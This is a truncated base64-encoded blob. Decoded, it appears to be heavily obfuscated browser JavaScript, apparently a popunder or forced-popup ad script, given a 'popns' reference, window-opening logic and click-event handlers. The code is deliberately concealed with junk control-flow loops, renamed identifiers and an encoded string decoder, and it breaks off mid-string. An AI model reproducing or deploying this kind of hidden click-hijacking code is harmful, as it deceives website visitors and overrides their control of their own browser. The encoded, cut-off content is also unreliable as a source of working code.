ApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0N